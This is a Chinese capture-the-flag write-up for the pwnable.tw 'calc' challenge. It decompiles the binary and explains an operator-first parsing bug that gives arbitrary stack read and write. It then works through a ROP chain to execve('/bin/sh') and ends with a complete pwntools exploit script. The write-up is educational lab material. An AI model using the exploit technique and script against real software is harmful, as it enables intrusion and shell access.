pwnable.tw-calc详解

重点需要的知识:ROP链的构造、栈中ebp和esp的变换

这题颠覆了我原本以为pwn都是各种套路的思想,和pwn只需要关注危险函数的思想,栈溢出并不是只有各种ret技术,恐怕堆溢出也不仅仅局限于各种heap of技术,那些只是基础。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ssignal(14, timeout);
  alarm(60);
  puts("=== Welcome to SECPROG calculator ===");
  fflush(stdout);
  calc();
  return puts("Merry Christmas!");
}

主函数没什么特别的,ssignal()和alarm()应该只是让程序时间长了不交互就自动退出。

unsigned int calc()
{
  int pool; // [esp+18h] [ebp-5A0h]
  int v2[100]; // [esp+1Ch] [ebp-59Ch]
  char s; // [esp+1ACh] [ebp-40Ch]
  unsigned int v4; // [esp+5ACh] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(&s, 0x400u);//对s字符数组置零
    if ( !get_expr((int)&s, 1024) )//get_expr是对函数进行字符过滤
      break;
    init_pool(&pool);//init_pool是对数组进行置零
    if ( parse_expr((int)&s, &pool) )//parse_expr是对表达式进行运算,溢出点就在这里
    {
      printf((const char *)&unk_80BF804, v2[pool - 1]);
      fflush(stdout);
    }
  }
  return __readgsdword(0x14u) ^ v4;
}

这里s虽然只是一个字符变量,但是进了get_expr就能知道s其实存储的是我们输入的字符串

int __cdecl get_expr(int s, int a2)
{
  int v2; // eax
  char v4; // [esp+1Bh] [ebp-Dh]
  int v5; // [esp+1Ch] [ebp-Ch]

  v5 = 0;
  while ( v5 < a2 && read(0, &v4, 1) != -1 && v4 != 10 )//read负责读取一个字符,然后放入if检查
  {
    if ( v4 == 43 || v4 == 45 || v4 == 42 || v4 == 47 || v4 == 37 || v4 > 47 && v4 <= 57 )
    {
      v2 = v5++;
      *(_BYTE *)(s + v2) = v4;//如果符合条件就加入s数组
    }
  }
  *(_BYTE *)(v5 + s) = 0;//添加终止符
  return v5;
}

get_expr中的while循环就是只要字符串超过1024,或者读到终止符或者读不到字符就终止,然后只有字符等于+-*/%1234567890时才会存入s字符数组(v2和v5就是偏移量,因为s传入get_expr的是int型的首地址值),最后s末尾加上终止符

_DWORD *__cdecl init_pool(_DWORD *a1)
{
  _DWORD *result; // eax
  signed int i; // [esp+Ch] [ebp-4h]

  result = a1;
  *a1 = 0;
  for ( i = 0; i <= 99; ++i )
  {
    result = a1;
    a1[i + 1] = 0;
  }
  return result;
}

init_pool我看得不是很明白,主要是不明白DWORD字型和地址值之间的转化关系。但大致能看出是把pool内100个int型空间都置零。

  v11 = __readgsdword(0x14u);
  v5 = s;
  v7 = 0;
  bzero(string, 0x64u);//string数组用来存储运算符
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)(*(char *)(i + s) - 48) > 9 )//当在s中找到字符为运算符时为真
    {
      lenth = i + s - v5;
      number = (char *)malloc(lenth + 1);
      memcpy(number, v5, lenth);
      number[lenth] = 0;
      if ( !strcmp(number, "0") )
      {
        puts("prevent division by zero");
        fflush(stdout);
        return 0;
      }
      v9 = atoi(number);
      if ( v9 > 0 )//当输入的第一个字符为运算符时,v9就不会大于0
      {
        v4 = (*pool)++;
        pool[v4 + 1] = v9;
      }
      if ( *(_BYTE *)(i + s) && (unsigned int)(*(char *)(i + 1 + s) - 48) > 9 )
        //如果运算符后紧跟着运算符,则报错
      {
        puts("expression error!");
        fflush(stdout);
        return 0;
      }
      v5 = i + 1 + s;

parse_expr这个函数是重点,其中s是我们输入的内容,一开始的if是一个个字符进行检查,当字符为运算符时(因为定义为了unsigned int,所以+-/*%这些符号减去48后,就变成非常大的数,比9大),会开辟一个空间存储运算符前面的数,之后会用atoi转化成int型数字赋值给v9,然后v4等于pool[0],随后pool[0]会加1,然后pool[pool[0]+1]会等于v9,所以pool数组是用来存储操作数的。

接下来的if就是检测是否有连续的运算符,如果有则报错。

      v5 = i + 1 + s;
      if ( string[v7] )
      {
        switch ( *(char *)(i + s) )
        {
          case 37:
          case 42:
          case 47:
            if ( string[v7] != 43 && string[v7] != 45 )
            {
              eval(pool, string[v7]);
              string[v7] = *(_BYTE *)(i + s);
            }
            else
            {
              string[++v7] = *(_BYTE *)(i + s);
            }
            break;
          case 43:
          case 45:
            eval(pool, string[v7]);
            string[v7] = *(_BYTE *)(i + s);
            break;
          default:
            eval(pool, string[v7--]);
            break;
        }
      }
      else
      {
        string[v7] = *(_BYTE *)(i + s);
      }
      if ( !*(_BYTE *)(i + s) )//如果字符为结束符,则退出for循环
        break;
    }
  }
  while ( v7 >= 0 )
    eval(pool, string[v7--]);
  return 1;

parse_expr函数的剩余部分就是检测string数组内是否有字符,没有的话则string存储当前if()判断的字符,也就是运算符。所以pool用来存储操作数,string用来存储运算符。

整个for循环的逻辑就是逐一检查s的字符,如果是运算符,则检测前面的数字是否等于字符‘0’,如果等于就报错,不等于且大于0就把前面的数字存储到pool[pool[0]+1],pool++,pool[0]内存储着已有操作数的数量,然后检测string内是否有运算符,如果有,就执行eval(pool,string[v7]),然后把string[v7]内的字符替换成当前的字符。如果string没有运算符,则把当前字符存入string内。

这里已经有一个bug了,那就是当第一个字符为运算符时,number[0]=0,if ( v9 > 0 )就不会成立,也就不执行把数存储到pool内的指令。

那怎么利用这个bug呢,还要看eval()函数

_DWORD *__cdecl eval(_DWORD *pool, char string)
{
  _DWORD *result; // eax

  if ( string == 43 )
  {
    pool[*pool - 1] += pool[*pool];
  }
  else if ( string > 43 )
  {
    if ( string == 45 )
    {
      pool[*pool - 1] -= pool[*pool];
    }
    else if ( string == 47 )
    {
      pool[*pool - 1] /= pool[*pool];
    }
  }
  else if ( string == 42 )
  {
    pool[*pool - 1] *= pool[*pool];
  }
  result = pool;
  --*pool;
  return result;
}

可以看到在eval中,任何计算都涉及到*pool,也就是pool[0],pool[0]就代表着pool内存储的数的个数。在正常的表达式中,应该是两个数字和一个运算符参与计算,但当我们开头就输入运算符,比如"+360\n",就会产生bug了,因为遇到回车的时候,parse_expr中会跳出for循环,执行eval(),像pool[*pool - 1] += pool[*pool]中,*pool这时候只有1,因为+360这个表达式中只有一个数,结果就变成了pool[0]+=pool[1]了,而这个时候pool[1]内存储着360,结果就变成pool[0]=360,也就是*pool=360。这样本来是统计操作数个数的内存空间就让我们能够控制了。

再回到calc中,这时候printf((const char *)&unk_80BF804, v2[pool - 1]);实在是看不出来什么东西,还是要看汇编

.text:080493F2                 test    eax, eax
.text:080493F4                 jz      short loc_8049428
.text:080493F6                 mov     eax, [ebp+pool]
.text:080493FC                 sub     eax, 1
.text:080493FF                 mov     eax, [ebp+eax*4+var_59C]
.text:08049406                 mov     [esp+4], eax
.text:0804940A                 mov     dword ptr [esp], offset unk_80BF804
.text:08049411                 call    printf

[ebp+pool]就是pool[0],而[ebp+var_59c]则等于pool[1],因为int pool是[ebp-5a0h],int v2[100]是[ebp-59ch],栈内空间是从高到低的,59ch比5a0h少4个字节,正好一个int型空间,所以,v2[pool-1]=ebp+4*(pool[0]-1)-5a0h+4=ebp-5a0h+4*pool[0]=pool[pool[0]],unk_80bf804是%d,然后prinf输出字节位置是eax,最后printf((const char *)&unk_80BF804, v2[pool - 1]);就是输出pool[pool[0]]内存储的值。

也就是说如果输入"+360\n"就能得到pool[360]处存储的值,如果输入"+360-1\n",则会在'-'号的时候计算eval时,把360赋值给pool[0],接着到‘1’时,则会把1存入pool[360+1]中,最后‘\n’时会pool[0]+pool[361]的值赋值给pool[361-1]。现在我们就有两个能力,一个是能泄露任意地址,二是能修改任意地址。

因为程序开启了Canary和NX,也就是栈溢出检查和栈不可执行,所以我们不能用shellcode,而Canary,因为我们是精准地修改任意地址,所以不会动到Canary在栈内放置的校验值,具体Canary存放在哪里,可以看汇编

.text:08049379                 push    ebp
.text:0804937A                 mov     ebp, esp
.text:0804937C                 sub     esp, 5B8h
.text:08049382                 mov     eax, large gs:14h
.text:08049388                 mov     [ebp+var_C], eax
.text:0804938B                 xor     eax, eax

large gs就是canary的校验值,可以看到存放在ebp+12的位置,也就是pool[357],至于为什么,因为pool在ebp-5a0h处,0x5a0/4=360,所以pool[360]的地址就是calc()函数中ebp寄存器的值,而pool[360]中存储的值则是main()函数的ebp。具体为什么pool[360]中存储着的是main()的ebp,也要看之前的汇编。main()函数在call calc时,会先push下一跳的值,然后在calc函数的开头,又先push了ebp,所以这时候esp指向的就是栈内存放了ebp值的位置,然后mov ebp,esp 就让pool[360]的地址值成了calc中ebp寄存器存储的值,也让pool[360]内存储着main()函数的ebp值。

知道了main()函数的ebp值存储的位置后,我们就能借此推断出栈的实际地址,实际地址有什么用我们之后再说。

不能用shellcode,就我现在所学,那就只能用ROP了,可以构造如下ROP链

361 pop eax
362 11
363 pop edx,ecx,ebx
364 0
365 0
366 &pool[368]
367 int 80
368 /bin 
369 /sh\00

我们可以选择pool[361]之后的空间来存放ROP链,pool[361]就是返回地址。其它地方也是可以但是因为bzero()和init_pool()让ebp-ch到ebp-5a0h的空间每次输入表达式都会重置,所以都放在360之后是最方便的(像/bin字符串可以放在其它地方,但就比较麻烦了)。

这里唯一比较麻烦的是pool[368]的地址值怎么算,这里就可以用到之前提到的存放在pool[360]中main()函数ebp的值了,首先计算main的ebp到main的esp的值,这就需要看汇编了

.text:08049452                 push    ebp
.text:08049453                 mov     ebp, esp
.text:08049455                 and     esp, 0FFFFFFF0h
.text:08049458                 sub     esp, 10h

所以main_esp=(main_ebp&0fffffff0h)-16,因为栈随机化不影响最低两位地址,所以不会改变&0fffffff0h后的差值,实际试验后可以计算出main_ebp-main_esp=24,然后main函数内call calc()后,会push 返回地址,这时候32位系统的栈会抬高4字节,因此&pool[361]-main_ebp=24+4=28,最后计算pool[368]距离pool[361]=(368-361)*4=28,因此&pool[368]就等于main_ebp,即&pool[368]=pool[360]

然后pop eax之类的可以用ROPgadget --binary calc --only 'pop|ret'的命令查找地址,最后的到脚本

from pwn import *



s=process("./calc")



#ROPgadget

pop_eax=0x805c34b

pop_edx_ecx_ebx=0x80701d0

int_80=0x8049a21

str_bin=0x6e69622f

str_sh=0x0068732f

pop_ebx=0x080481d1

val=[0x805c34b,11,0x80701d0,0,0,0,0x8049a21,0x6e69622f,0x0068732f]




s.sendlineafter("===\n","+360")

main_ebp=(int(s.recvline()))

print "main_ebp:"+str(main_ebp)

main_esp=((main_ebp+0x100000000)&0xfffffff0)-16

bin_addr=(7-(main_ebp+0x100000000-main_esp)/4-1)*4+main_ebp

print "bin_addr:"+str(bin_addr)

val[5]=bin_addr


for i in range(0,9):

	s.sendline("+36"+str(i+1))

	value=int(s.recvline())

	print "stack_36"+str(i+1)+": "+str(hex(value))

	diff=val[i]-value

	if diff<0:

		s.sendline("+36"+str(i+1)+str(diff))

	else:

		s.sendline("+36"+str(i+1)+"+"+str(diff))

	value=int(s.recvline())

	print "stack_36"+str(i+1)+": "+str(hex(value))

s.sendline("getshell")


s.interactive()

这里有个坑曾经困扰了我两个小时,就是一开始我是先遍历得到pool[360]-pool[369]的值,然后再去计算所需的diff值,后来才发现比如"+360+1",会把1存储到pool[361]中,所以需要从低位地址开始依次改变,在需要的时候才取得所需要的值。

最后这一篇是参考了https://www.freebuf.com/articles/others-articles/132283.html,讲得很好很详细

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值